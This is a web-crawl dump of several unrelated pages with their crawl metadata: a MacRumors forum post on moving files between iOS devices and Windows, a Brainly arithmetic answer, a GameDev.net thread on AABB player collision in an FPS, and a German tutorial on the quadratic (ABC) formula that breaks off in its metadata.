Not really. I have an iMac and MacBook Air, but I mostly have them running Windows with bootcamp, and rarely boot into OS X. I have no problems flipping files between my iPad/iPhone and my "Windowed" Macs. :p iCloud for Windows will even sync iOS Safari bookmarks with Internet Explorer, and I think Firefox. You can also set up PhotoStream on Windows. Dropbox works great at transferring files between iOS and Windows, though I also use an app called File Browser, which lets you transfer files to and from iOS devices over a wifi network. The only weak point is that iTunes for Windows is clunky and a pain to deal with -- very slow to start up, and not very stable with wifi sync and downloading stuff. However, since iOS devices are now pretty much PC-independent, you'll need to use iTunes only rarely. There are of course a few other stuff that are better integrated on OS X, but nothing that is a deal-stopper, IMO.
25. sarakn, Oct 7, 2013
Last edited: Oct 7, 2013
sarakn macrumors 6502a
sarakn
Joined:
Feb 8, 2013
Share This Page | {
"url": "https://forums.macrumors.com/threads/can-ipad-replace-laptop.1650341/",
"source_domain": "forums.macrumors.com",
"snapshot_id": "crawl=CC-MAIN-2018-13",
"warc_metadata": {
"Content-Length": "272366",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FAZ6KN5M5U6WAKXJG2LZXPBP6BSU5WBU",
"WARC-Concurrent-To": "<urn:uuid:5d0eff29-9246-4a4c-9211-16d8973a18c7>",
"WARC-Date": "2018-03-25T06:03:22Z",
"WARC-IP-Address": "162.254.116.248",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AJ53LIKDJSDDMVQM3Q5WSGPGF7TO6SQA",
"WARC-Record-ID": "<urn:uuid:2a528a35-0225-41f9-80d1-8b46ef98ab67>",
"WARC-Target-URI": "https://forums.macrumors.com/threads/can-ipad-replace-laptop.1650341/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:152585fb-f5c4-40bb-b83d-998b05b9d83c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-47-232-177.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-13\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for March 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
35,
36,
88,
89,
117,
118,
130,
147,
154,
282,
283,
473,
474,
618,
619,
633,
639,
666,
667,
677,
678,
690,
706,
720,
738,
745,
823,
874,
880,
914,
915,
927,
943,
957,
973,
980,
1184,
1190,
1223,
1224,
1240,
1241,
1253,
1270,
1284,
1308,
1315,
1352,
1353,
1675,
1676,
1764,
1881,
1882,
2028,
2029,
2248,
2249,
2344,
2345,
2486,
2487,
2534,
2540,
2572,
2573,
2585,
2601,
2608,
2711,
2717,
2751,
2752,
2764,
2781,
2788,
2900,
2901,
3090,
3096,
3124,
3125,
3137,
3154,
3161,
3243,
3244,
3493,
3494,
3611,
3612,
3681,
3682,
3798,
3804,
3838,
3839,
3851,
3867,
3874,
3921,
3922,
4129,
4130,
4339,
4340,
4557,
4558,
4701,
4702,
4886,
4887,
5123,
5124,
5211,
5212,
5277,
5378,
5379,
5610,
5611,
5671,
5677,
5706,
5707,
5719,
5720,
5732,
5749,
5763,
5773,
5780,
6048,
6049,
6218,
6219,
6680,
6686,
6730,
6731,
6743,
6760,
6768,
6812,
6813,
6960,
6961,
7117,
7118,
7274,
7275,
7444,
7450,
7485,
7486,
7498,
7514,
7522,
7598,
7599,
7702,
7708,
7745,
7746,
7758,
7775,
7783,
7790,
7796,
7827,
7828,
7840,
7856,
7864,
7956,
7957,
7980,
7981,
8126,
8132,
8160,
8161,
8173,
8189,
8197,
8370,
8456,
8515,
8980,
8991,
9052,
9140,
9267,
9319,
9419,
9519,
9676,
9677,
9923,
10003,
10009,
10041,
10042,
10054,
10070,
10084,
10092,
10100,
10384,
10390,
10420,
10421,
10433,
10434,
10446,
10463,
10477,
10493,
10501,
10806,
10807,
11113,
11114,
11223,
11229,
11261,
11262,
11274,
11290,
11298,
11585,
11586,
11928,
11934,
11964,
11965,
11977,
11978,
11990,
12007,
12021,
12037,
12045,
12341,
12342,
12471,
12472,
12637,
12643,
12673,
12674,
12688,
12689,
12701,
12718,
12732,
12749,
12757,
13017,
13018,
13172,
13173,
13379,
13380,
13441,
13442,
13704,
13710,
13739,
13740,
13752,
13753,
13765,
13782,
13790,
14245,
14246,
14484,
14485,
14646,
14652,
14687,
14688,
14700,
14717,
14731,
14750,
14758,
14874,
14880,
14910,
14911,
14923,
14924,
14936,
14953,
14967,
14983,
14991,
15083,
15089,
15121,
15122,
15134,
15150,
15158,
15382,
15388,
15420,
15421,
15438,
15439,
15451,
15468,
15476,
16403,
16409,
16435,
16464,
16465,
16492,
16493,
16504,
16505,
16517,
16533,
16534
],
"line_end_idx": [
35,
36,
88,
89,
117,
118,
130,
147,
154,
282,
283,
473,
474,
618,
619,
633,
639,
666,
667,
677,
678,
690,
706,
720,
738,
745,
823,
874,
880,
914,
915,
927,
943,
957,
973,
980,
1184,
1190,
1223,
1224,
1240,
1241,
1253,
1270,
1284,
1308,
1315,
1352,
1353,
1675,
1676,
1764,
1881,
1882,
2028,
2029,
2248,
2249,
2344,
2345,
2486,
2487,
2534,
2540,
2572,
2573,
2585,
2601,
2608,
2711,
2717,
2751,
2752,
2764,
2781,
2788,
2900,
2901,
3090,
3096,
3124,
3125,
3137,
3154,
3161,
3243,
3244,
3493,
3494,
3611,
3612,
3681,
3682,
3798,
3804,
3838,
3839,
3851,
3867,
3874,
3921,
3922,
4129,
4130,
4339,
4340,
4557,
4558,
4701,
4702,
4886,
4887,
5123,
5124,
5211,
5212,
5277,
5378,
5379,
5610,
5611,
5671,
5677,
5706,
5707,
5719,
5720,
5732,
5749,
5763,
5773,
5780,
6048,
6049,
6218,
6219,
6680,
6686,
6730,
6731,
6743,
6760,
6768,
6812,
6813,
6960,
6961,
7117,
7118,
7274,
7275,
7444,
7450,
7485,
7486,
7498,
7514,
7522,
7598,
7599,
7702,
7708,
7745,
7746,
7758,
7775,
7783,
7790,
7796,
7827,
7828,
7840,
7856,
7864,
7956,
7957,
7980,
7981,
8126,
8132,
8160,
8161,
8173,
8189,
8197,
8370,
8456,
8515,
8980,
8991,
9052,
9140,
9267,
9319,
9419,
9519,
9676,
9677,
9923,
10003,
10009,
10041,
10042,
10054,
10070,
10084,
10092,
10100,
10384,
10390,
10420,
10421,
10433,
10434,
10446,
10463,
10477,
10493,
10501,
10806,
10807,
11113,
11114,
11223,
11229,
11261,
11262,
11274,
11290,
11298,
11585,
11586,
11928,
11934,
11964,
11965,
11977,
11978,
11990,
12007,
12021,
12037,
12045,
12341,
12342,
12471,
12472,
12637,
12643,
12673,
12674,
12688,
12689,
12701,
12718,
12732,
12749,
12757,
13017,
13018,
13172,
13173,
13379,
13380,
13441,
13442,
13704,
13710,
13739,
13740,
13752,
13753,
13765,
13782,
13790,
14245,
14246,
14484,
14485,
14646,
14652,
14687,
14688,
14700,
14717,
14731,
14750,
14758,
14874,
14880,
14910,
14911,
14923,
14924,
14936,
14953,
14967,
14983,
14991,
15083,
15089,
15121,
15122,
15134,
15150,
15158,
15382,
15388,
15420,
15421,
15438,
15439,
15451,
15468,
15476,
16403,
16409,
16435,
16464,
16465,
16492,
16493,
16504,
16505,
16517,
16533,
16534,
16549
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 16549,
"ccnet_original_nlines": 327,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42139801383018494,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03480742126703262,
"rps_doc_frac_lines_end_with_ellipsis": 0.009146340191364288,
"rps_doc_frac_no_alph_words": 0.20114122331142426,
"rps_doc_frac_unique_words": 0.29681482911109924,
"rps_doc_mean_word_length": 4.204410076141357,
"rps_doc_num_sentences": 200,
"rps_doc_symbol_to_word_ratio": 0.010271039791405201,
"rps_doc_unigram_entropy": 5.867344379425049,
"rps_doc_word_count": 2857,
"rps_doc_frac_chars_dupe_10grams": 0.014985010027885437,
"rps_doc_frac_chars_dupe_5grams": 0.037462539970874786,
"rps_doc_frac_chars_dupe_6grams": 0.03280052915215492,
"rps_doc_frac_chars_dupe_7grams": 0.027805529534816742,
"rps_doc_frac_chars_dupe_8grams": 0.014985010027885437,
"rps_doc_frac_chars_dupe_9grams": 0.014985010027885437,
"rps_doc_frac_chars_top_2gram": 0.009990010410547256,
"rps_doc_frac_chars_top_3gram": 0.003329999977722764,
"rps_doc_frac_chars_top_4gram": 0.005994009785354137,
"rps_doc_books_importance": -1389.501220703125,
"rps_doc_books_importance_length_correction": -1389.501220703125,
"rps_doc_openwebtext_importance": -746.2034912109375,
"rps_doc_openwebtext_importance_length_correction": -746.2034912109375,
"rps_doc_wikipedia_importance": -668.1287841796875,
"rps_doc_wikipedia_importance_length_correction": -668.1287841796875
},
"fasttext": {
"dclm": 0.05925184115767479,
"english": 0.9588087201118469,
"fineweb_edu_approx": 1.244796633720398,
"eai_general_math": 0.13815492391586304,
"eai_open_web_math": 0.22197329998016357,
"eai_web_code": 0.005088570062071085
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.15",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "378.1968",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Higher and Universities and colleges"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-9,016,442,289,316,660,000 | Answers
The Brainliest Answer!
2014-09-18T17:39:48-04:00
This Is a Certified Answer
×
Certified answers contain reliable, trustworthy information vouched for by a hand-picked team of experts. Brainly has millions of high quality answers, all of them carefully moderated by our most trusted community members, but certified answers are the finest of the finest.
1h=60min \\ \\ \frac{3}{4} \ of \ 60 min= \frac{3}{4}*60= 3*15=45 min \\\\ 60min+45min= \boxed{105min-did \ she \ wait}
1 5 1
2014-09-18T18:04:19-04:00
It's 15*3=45
60 for the other hour + the 45 minutes=105 minutes
0 | {
"url": "https://brainly.com/question/122946",
"source_domain": "brainly.com",
"snapshot_id": "crawl=CC-MAIN-2017-04",
"warc_metadata": {
"Content-Length": "58840",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TXAZOAWLUTVSTDT7BJPW4HIHPVUOSJOZ",
"WARC-Concurrent-To": "<urn:uuid:cb414475-c5d7-4ded-b1c1-013944b698b5>",
"WARC-Date": "2017-01-16T15:27:12Z",
"WARC-IP-Address": "104.16.33.180",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:OP7B4C3WBHKG64UU4BDIBRU4P3BRZO2M",
"WARC-Record-ID": "<urn:uuid:0f649fad-c798-44d4-bbef-8a6f135cbd31>",
"WARC-Target-URI": "https://brainly.com/question/122946",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:eeee7bda-0458-4b9c-bd94-b7d315dc619b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
8,
9,
32,
58,
59,
86,
87,
89,
364,
484,
490,
516,
529,
580
],
"line_end_idx": [
8,
9,
32,
58,
59,
86,
87,
89,
364,
484,
490,
516,
529,
580,
581
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 581,
"ccnet_original_nlines": 14,
"rps_doc_curly_bracket": 0.01721169985830784,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1708860844373703,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012658230029046535,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5189873576164246,
"rps_doc_frac_unique_words": 0.737500011920929,
"rps_doc_mean_word_length": 5.412499904632568,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.9317047595977783,
"rps_doc_word_count": 80,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.07390300184488297,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -81.68204498291016,
"rps_doc_books_importance_length_correction": -95.96888732910156,
"rps_doc_openwebtext_importance": -49.97651672363281,
"rps_doc_openwebtext_importance_length_correction": -64.26335906982422,
"rps_doc_wikipedia_importance": -31.285377502441406,
"rps_doc_wikipedia_importance_length_correction": -45.57222366333008
},
"fasttext": {
"dclm": 0.6370762586593628,
"english": 0.8461844325065613,
"fineweb_edu_approx": 0.7347914576530457,
"eai_general_math": 0.012546000070869923,
"eai_open_web_math": 0.8418442010879517,
"eai_web_code": 0.0009283400140702724
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
},
"secondary": {
"code": "370",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-8,060,820,534,254,555,000 | • Advertisement
Sign in to follow this
FPS player collision
This topic is 3909 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.
If you intended to correct an error in the post then please contact us.
Recommended Posts
I'm starting to add collision detection to my player of my FPS which already has a AABB, I need to know how to detect if the AABB of the player collided against my geometry with all the things that a FPS player needs to do (like go smoothly up stairs and not collide with small stones and such). Right now I want the collisions to be done on AABB (no OBBs), and I have seen tutorials and documents where they show the algorithms for things such as ellipsoids, spheres and such but I want to use AABB. Could anyone give me some pointers to information about doing that or maybe some algorithm? Thanks.
Share this post
Link to post
Share on other sites
Advertisement
One super simple approach is to treat the world as a heightfield. Every time the character moves, calculate (by ray-trace or simple heightfield lookup or whatever) the height of the world below the character's feed (or some reasonable step-up distance above his feet). Then, when you move the character, reset his height to be the world height at the new position. Essentially what you are doing is having the character follow the height of the world. You're letting him walk up onto things that are slightly higher, or fall down into holes or off of things. Stairs are handled transparently. If your engine supports ray tracing against dynamic objects, you could even have the character go into an elevator, then animate the elevator and have the character move with it, without any special code. Its conceptually very simple. You can do this without even having an AABB. You can do this in an AABB context by just using the character's AABB as a basis for determing where the support is. And, you do want to do some level of check along the direction of walking so the camera doesn't poke through walls, etc. The AABB would add this. And, depending on your game world, you could just do your AABB test in the horizontal plane, and just the ray-trace through the center of the AABB for heightfield variations.
As for basic AABB collision ideas, I didn't have an immediate link for you, but I found the following with a quick search:
Basic Collision Detection and Response
And,
Collision Detection
I haven't read either to determine whether they are really useful, though at first glance they appear to be. Both discuss more than just AABB's, but at a reasonable level to start with.
One of your challenges will be how to detect AABB collision against your world geometry....if you only want to to AABB vs. AABB, then you will have to create a collection of collision boxes that approximate your world geometry. Might be doable. Stairs would be represented by one box per step. Stones could be represented approximately by 1 box each. The main terrain, if it is flat...one box. You get the idea.
Hope this helps a bit!
Share this post
Link to post
Share on other sites
Sign in to follow this
• Advertisement | {
"url": "https://www.gamedev.net/forums/topic/451773-fps-player-collision/",
"source_domain": "www.gamedev.net",
"snapshot_id": "crawl=CC-MAIN-2018-09",
"warc_metadata": {
"Content-Length": "114360",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DAOITXXXNZLMXXGFOSXOC2BRPC44323K",
"WARC-Concurrent-To": "<urn:uuid:e62c9acf-8979-4fe9-9773-ebf2bba72138>",
"WARC-Date": "2018-02-25T22:04:46Z",
"WARC-IP-Address": "130.211.24.203",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:H7FV4SWZU2X7UATCCNLHXEEUYCIB5PKD",
"WARC-Record-ID": "<urn:uuid:400be097-c91a-4a11-8c50-5a511e486c04>",
"WARC-Target-URI": "https://www.gamedev.net/forums/topic/451773-fps-player-collision/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a74e9f6d-168f-4123-9007-7fff8b7bbb65>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-228-65-216.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
18,
43,
44,
65,
66,
186,
187,
259,
260,
278,
279,
880,
881,
897,
898,
899,
912,
933,
947,
2258,
2259,
2382,
2383,
2422,
2423,
2428,
2429,
2449,
2450,
2636,
2637,
3049,
3050,
3073,
3074,
3090,
3091,
3092,
3105,
3126,
3151,
3152
],
"line_end_idx": [
18,
43,
44,
65,
66,
186,
187,
259,
260,
278,
279,
880,
881,
897,
898,
899,
912,
933,
947,
2258,
2259,
2382,
2383,
2422,
2423,
2428,
2429,
2449,
2450,
2636,
2637,
3049,
3050,
3073,
3074,
3090,
3091,
3092,
3105,
3126,
3151,
3152,
3169
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3169,
"ccnet_original_nlines": 42,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4906832277774811,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04037266969680786,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.11801242083311081,
"rps_doc_frac_unique_words": 0.46071428060531616,
"rps_doc_mean_word_length": 4.471428394317627,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.0031055898871272802,
"rps_doc_unigram_entropy": 5.09301233291626,
"rps_doc_word_count": 560,
"rps_doc_frac_chars_dupe_10grams": 0.03194887936115265,
"rps_doc_frac_chars_dupe_5grams": 0.061501599848270416,
"rps_doc_frac_chars_dupe_6grams": 0.03194887936115265,
"rps_doc_frac_chars_dupe_7grams": 0.03194887936115265,
"rps_doc_frac_chars_dupe_8grams": 0.03194887936115265,
"rps_doc_frac_chars_dupe_9grams": 0.03194887936115265,
"rps_doc_frac_chars_top_2gram": 0.023961659520864487,
"rps_doc_frac_chars_top_3gram": 0.006389779970049858,
"rps_doc_frac_chars_top_4gram": 0.011182109825313091,
"rps_doc_books_importance": -279.9071044921875,
"rps_doc_books_importance_length_correction": -279.9071044921875,
"rps_doc_openwebtext_importance": -166.44737243652344,
"rps_doc_openwebtext_importance_length_correction": -166.44737243652344,
"rps_doc_wikipedia_importance": -109.37017822265625,
"rps_doc_wikipedia_importance_length_correction": -109.37017822265625
},
"fasttext": {
"dclm": 0.0692334771156311,
"english": 0.9474811553955078,
"fineweb_edu_approx": 1.6397874355316162,
"eai_general_math": 0.36508703231811523,
"eai_open_web_math": 0.19893664121627808,
"eai_web_code": 0.01408499013632536
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.019",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.62",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
7,678,786,963,568,800,000 |
ABC-Formel: Beispiele und Erklärung
Geschrieben von: Dennis Rudolph
Freitag, 22. Juni 2018 um 20:01 Uhr
Was die ABC-Formel ist und wie man sie benutzt, lernt ihr hier. Folgende Inhalte werden angeboten:
• Eine Erklärung, was die ABC-Formel ist und wozu man sie braucht.
• Beispiele zum Anwenden der ABC-Formel.
• Aufgaben / Übungen damit ihr dies selbst üben könnt.
• Ein Video zu diesem Thema
• Ein Frage- und Antwortbereich zu diesem Gebiet.
Hinweis: Die ABC-Formel wird manchmal auch Mitternachtsformel genannt. Wer diese Formel nicht mag, kann die Aufgaben auch mit der PQ-Formel lösen.
Erklärung: ABC-Formel
Die ABC-Formel verwendet man in der Mathematik dazu quadratische Gleichungen bzw. quadratische Funktionen zu lösen. Eine quadratische Gleichung bzw. Funktion sieht so aus:
ABC-Formel für quadratische Funktionen allgemein
Hier noch einige Beispiele für quadratische Funktionen / Gleichungen:
ABC-Formel quadratische Funktion Beispiele allgemein
Mit der ABC-Formel kann man Nullstellen berechnen. Nullstellen sind die Stellen, bei denen y = 0 ist. Es sind damit die Stellen, an denen der Verlauf einer Funktion die x-Achse schneidet. Die nächste Grafik zeigt ein Beispiel. Die Nullstellen sind dabei rot eingekreist.
ABC-Formel: Wo liegen Nullstellen
An den roten eingekreisten Stellen - also den Nullstellen - ist y = 0. Dies nutzen wir bei der Berechnung aus. Haben wir eine quadratische Funktion oder Gleichung und suchen bei dieser die Nullstellen, dann müssen wir diese in eine Form mit = 0 bringen. Danach kann die ABC-Formel verwendet werden, um die Nullstellen zu berechnen. Die allgemeine Form:
ABC-Formel allgemeine Form
Ob die quadratische Funktion eine, zwei oder gar keine Nullstellen hat, hängt von dem ab, was unter der Wurzel steht (Diskriminante).
Beispiele ABC-Formel
Sehen wir uns einige Beispiele zur ABC Formel an. Dabei gehen wir die Frage an: Wie kann man die ABC-Formel einsetzen?
Beispiel 1: ABC-Formel mit zwei Nullstellen
Berechnet werden sollen die Nullstellen der Gleichung 3x2 + 9x + 5 = -1. Wo liegen diese?
Lösung:
Wir formen die Gleichung zunächst so um, dass wir ein = 0 erhalten. Danach lesen wir a, b und c ab. Dies wurde farblich markiert. Wir können dies im Anschluss in die ABC-Formel einsetzen. Wir rechnen zunächst alles unter der Wurzel aus und erhalten eine 9. Die Wurzel aus 9 ziehen wir und erhalten 3. Als nächstes können wir beide Nullstellen berechnen. Dabei nehmen wir einmal ein Plus vor der 3 und einmal ein Minus vor der 3.
ABC-Formel Beispiel 1
Wir erhalten damit die Nullstellen bei x = -1 und x = -2.
Beispiel 2: ABC-Formel ohne Nullstellen
Im zweiten Beispiel haben wir die Gleichung 2x2 + 3x + 30 = 0. Wo liegen die Nullstellen?
Lösung:
Díe Gleichung ist bereits in der Form mit = 0. Aus diesem Grund müssen wir hier keine Umformung durchführen. Aus der Gleichung können wird direkt a = 2, b = 3 und c = 30 ablesen. Dies setzen wir in die Lösungsformel ein. Dabei entsteht ein "Problem". Die Diskriminante - also das was unter der Wurzel steht - wird negativ. In der Schule lernt man, dass man aus negativen Zahlen keine Wurzel ziehen kann. Aus diesem Grund ist die Berechnung an dieser Stelle fertig und es gibt keine Nullstellen.
ABC-Formel Beispiel 2
Beispiel 3: Doppelte Nullstelle
Gegeben sei die Gleichung x2 + 4x + 4 = 0. Berechne mit der ABC-Formel die Nullstellen.
Lösung:
Wir können direkt a = 1, b = 4 und c = 4 ablesen. Die setzen wir in die Lösungsgleichung ein. Unter der Wurzel entsteht dabei eine 0. Dies führt bei der Berechnung mit + und mit - vor der Null dazu, dass wir zwei Mal die selbe Zahl für x erhalten. Bei x = -2 liegt damit eine doppelte Nullstelle vor.
ABC-Formel Beispiel 3
Aufgaben / Übungen zur ABC-Formel
Aufgabe 1: Bevor wir rechnen kurz ein paar (einfache) Fragen. Was kann man mit der ABC-Formel lösen?
Aufgabe überspringen »
Du hast 0 von 5 Aufgaben erfolgreich gelöst.
Video ABC-Formel
Erklärungen und Beispiele
In diesem Video sehen wir uns die ABC-Formel an:
• Was ist die ABC-Formel?
• Was kann man damit lösen?
• Es werden Beispiele vorgerechnet.
Nächstes Video »
Fragen mit Antworten zur ABC-Formel
In diesem Abschnitt sehen wir uns typische Fragen mit Antworten zur ABC-Formel an.
F: Wo liegt der Unterschied zwischen PQ-Formel und ABC-Formel?
A: Bei der PQ-Formel musste vor x2 immer eine 1 stehen. Liegt hier keine 1 vor, musste man die Gleichung umformen, um diese zu erzeugen. Bei der ABC-Formel ist dies nicht der Fall. Hier ist bei der Lösung die Zahl vor x2 einfach das a. In beiden Fällen muss jedoch die Gleichung so umgeformt werden, dass wir = 0 dabei haben. Wer noch mehr zur PQ-Formel lernen möchte, sieht bitte in den Artikel PQ-Formel rein.
F: Was sagt die Diskriminante aus?
A: Die Diskriminante ist das, was man bei der ABC-Formel unter der Wurzel hat. Hier gibt es drei Möglichkeiten:
• Die Diskriminante ist größer als Null: Es liegen damit zwei Nullstellen vor.
• Die Diskriminante ist kleiner als Null: Es gibt keine Nullstellen (im reellen).
• Die Diskriminante ist genau Null: Es gibt eine (doppelte) Nullstelle.
F: Gibt es die ABC-Formel auch ohne c?
A: Zum Beispiel bei der Gleichung x2 + 3x = 0 gibt es kein c. In diesem Fall wird c einfach mit c = 0 in die Lösungsformel eingesetzt.
F: Wie kann man die ABC-Formel herleiten?
A: Die Herleitung / Beweise zur ABC-Formel findet ihr unter ABC-Formel Herleitung / Beweis.
571 Gäste online | {
"url": "https://www.gut-erklaert.de/mathematik/abc-formel-beispiele-erklaerung.html",
"source_domain": "www.gut-erklaert.de",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "82374",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3JCJPULPSPBBRNLJF4H2V477GZEQWKVC",
"WARC-Concurrent-To": "<urn:uuid:69ff0b23-5f76-487b-9cbd-5a55c4262283>",
"WARC-Date": "2021-07-29T11:19:38Z",
"WARC-IP-Address": "213.155.86.189",
